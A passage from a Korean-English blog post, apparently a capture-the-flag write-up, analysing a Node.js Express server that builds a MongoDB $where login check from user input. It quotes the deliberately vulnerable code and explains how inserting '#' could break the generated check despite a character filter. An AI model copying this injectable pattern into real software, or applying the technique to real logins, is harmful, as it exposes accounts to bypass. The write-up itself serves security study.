                &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;text-decoration-line: underline; font-size: 14pt;&quot;&gt;RegExp&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'#'&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'#'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'gm'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
                ,JSON.stringify(req.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;[k]))
        }
        &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;&quot;$where&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; : check_function};
        &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;newvalue&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; : {last_access: moment().format(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'YYYY-MM-DD HH:mm:ss Z'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)}}
        dbo.collection(collection_name).updateOne(query,newvalue,&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; (e,r){
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(e) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; e;
            res.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'ok'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);
            &lt;/span&gt;&lt;span style=&quot;color: rgb(174, 174, 174); font-style: italic; font-size: 14pt;&quot;&gt;// ... implementing, plz dont release this.&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
        });
    })
    app.listen(&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;8081&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)

});&lt;/span&gt;&lt;/p&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 14pt;&quot;&gt;web server using express module, the web framework of node js. An important part of the code is:&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1) password 칼럼명이 랜덤하게 바뀜&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;password column name changes randomly&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp; &amp;nbsp; ex)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;this.password_qqxnativaup&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp; &amp;nbsp; this.password_kt1g716pi4&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/b&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;nodejs code is dynamically created and executed using the request variable and value I entered&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 4px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 0.9333em; line-height: 1.5em; font-family: Consolas, &amp;quot;Lucida Console&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, Monaco, &amp;quot;Courier New&amp;quot;, monospace; background: rgb(0, 0, 0); color: rgb(248, 248, 248);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; req.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){
            &lt;/span&gt;&lt;span style=&quot;color: rgb(153, 207, 80); font-size: 14pt;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;valid&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'#'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'('&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;')'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;].every((x)&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; req.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;[k].&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;indexOf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(x) &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 135, 204); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;});
            &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;valid) res.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'Nope'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);
            &lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;check_function&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; check_function.&lt;/span&gt;&lt;span style=&quot;color: rgb(218, 208, 133); font-size: 14pt;&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(
                &lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;text-decoration-line: underline; font-size: 14pt;&quot;&gt;RegExp&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'#'&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(62, 135, 227); font-size: 14pt;&quot;&gt;k&lt;/span&gt;&lt;span style=&quot;color: rgb(226, 137, 100); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'#'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: rgb(101, 176, 66); font-size: 14pt;&quot;&gt;'gm'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)
                ,JSON.stringify(req.&lt;/span&gt;&lt;span style=&quot;color: rgb(207, 106, 76); font-size: 14pt;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;[k]))&amp;nbsp;&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;margin-top: 0px; margin-bottom: 0px; padding: 4px; font-variant-numeric: normal; font-variant-east-asian: normal; font-stretch: normal; font-size: 0.9333em; line-height: 1.5em; font-family: Consolas, &amp;quot;Lucida Console&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, Monaco, &amp;quot;Courier New&amp;quot;, monospace; background: rgb(0, 0, 0); color: rgb(248, 248, 248);&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ex) (POST) &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;username=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;admin&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;amp;password=123&amp;nbsp; 로 전송하면 아래와 같이 동적으로 구문을 만들어줌&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-size: 14pt;&quot;&gt;s&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; color: rgb(140, 140, 140);&quot;&gt;end &quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; color: rgb(140, 140, 140);&quot;&gt;username=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; color: rgb(140, 140, 140);&quot;&gt;admin&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; color: rgb(140, 140, 140);&quot;&gt;&amp;amp;password=123&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; color: rgb(140, 140, 140);&quot;&gt;&quot;,&amp;nbsp; server&amp;nbsp;dynamically generates the code as shown below.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;- for 문을 돌면서 차례대로 #username# =&amp;gt; admin,&amp;nbsp; #password# =&amp;gt; 123 으로 입력&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp; after&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140);&quot;&gt;running&amp;nbsp;for loop&lt;/span&gt;,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18.6667px; color: rgb(140, 140, 140);&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 18.6667px; color: rgb(140, 140, 140);&quot;&gt;#username# =&amp;gt; admin,&amp;nbsp; #password# =&amp;gt; 123&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;k:username&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;if(this.username == &quot;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;admin&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot; &amp;amp;&amp;amp; &quot;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;admin&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot; == &quot;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;admin&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot; &amp;amp;&amp;amp; hex_md5&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(#&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;password&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;#)&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; == this.password_qqxnativaup){&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}else{&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 0;}&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;k:password&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;if(this.username == &quot;admin&quot; &amp;amp;&amp;amp; &quot;admin&quot; == &quot;admin&quot; &amp;amp;&amp;amp; hex_md5&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&quot;123&quot;)&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt; == this.password_qqxnativaup){&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}else{&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return 0;}&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;In conclusion, it's possible inserting '#' in the input value to attack.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px; color: rgb(140, 140, 140);&quot;&gt;but&amp;nbsp; #, ), (&amp;nbsp; characters are filtered by the source code below.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;pl-k&quot; style=&quot;box-sizing: border-box; color: rgb(215, 58, 73); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt; valid &lt;/span&gt;&lt;span class=&quot;pl-k&quot; style=&quot;box-sizing: border-box; color: rgb(215, 58, 73); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt; [&lt;/span&gt;&lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: rgb(3, 47, 98); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 12px; white-space: pre;&quot;&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box; font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box; font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: rgb(3, 47, 98); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 12px; white-space: pre;&quot;&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box; font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box; font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pl-s&quot; style=&quot;box-sizing: border-box; color: rgb(3, 47, 98); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 12px; white-space: pre;&quot;&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box; font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;box-sizing: border-box; font-size: 14pt;&quot;&gt;'&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;pl-en&quot; style=&quot;box-sizing: border-box; color: rgb(111, 66, 193); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;every&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;pl-smi&quot; style=&quot;box-sizing: border-box; color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: rgb(36, 41, 46); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-k&quot; style=&quot;box-sizing: border-box; color: rgb(215, 58, 73); font-family: SFMono-Regular, Consolas, &amp;quot;Liberation Mono&amp;quot;, Menlo, Courier, monospace; font-size: 14pt; white-space: pre;&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: 